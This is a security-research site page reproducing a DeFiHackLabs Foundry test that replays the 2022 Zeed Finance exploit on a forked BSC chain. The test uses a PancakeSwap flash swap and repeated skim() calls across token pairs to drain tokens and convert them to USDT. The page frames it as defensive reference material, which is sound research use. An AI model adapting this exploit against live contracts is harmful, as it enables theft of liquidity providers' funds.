Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/Zeed_exp.sol

Public reproduction file for dataset entry Zeed Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/Zeed_exp.sol50 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));
9 IPancakePair usdtYeedHoSwapPair = IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);
10 IPancakePair usdtYeedPair = IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);
11 IPancakePair hoYeedPair = IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);
12 IPancakePair zeedYeedPair = IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);
13 IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);
14 IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
15 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
17 function setUp() public {
18 cheats.createSelectFork("bsc", 17_132_514); // fork bsc at block 17132514
19 }
21 function testExploit() public {
22 yeed.approve(address(pancakeRouter), type(uint256).max);
23 (uint112 _reserve0, uint112 _reserve1,) = usdtYeedHoSwapPair.getReserves();
24 usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));
25 emit log_named_uint("Before exploit, USDT balance of attacker:", usdt.balanceOf(msg.sender));
26 address[] memory path = new address[](3);
27 path[0] = address(yeed);
28 path[1] = hoYeedPair.token0();
29 path[2] = usdtYeedPair.token0();
30 pancakeRouter.swapExactTokensForTokens(
31 yeed.balanceOf(address(this)), 0, path, msg.sender, block.timestamp + 120
32 );
33 emit log_named_uint("After exploit, USDT balance of attacker:", usdt.balanceOf(msg.sender));
34 }
36 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
37 yeed.transfer(address(usdtYeedPair), amount1);
38 for (uint256 i = 0; i < 10; i++) {
39 usdtYeedPair.skim(address(hoYeedPair));
40 hoYeedPair.skim(address(zeedYeedPair));
41 zeedYeedPair.skim(address(usdtYeedPair));
42 }
44 usdtYeedPair.skim(address(this));
45 hoYeedPair.skim(address(this));
46 zeedYeedPair.skim(address(this));
48 yeed.transfer(msg.sender, (amount1 * 1000) / 997);
49 }

Analysis

Dataset entry

Public Foundry test for “Zeed Finance” (2022-04-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Zeed Finance
Path
src/test/2022-04/Zeed_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1a888d08ae19e2d4d06a65a0adc624ba59ba63d8
Language
Solidity
Size
51 lines
Date
2022-04-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/Zeed_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1a888d08ae19e2d4d06a65a0adc624ba59ba63d8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.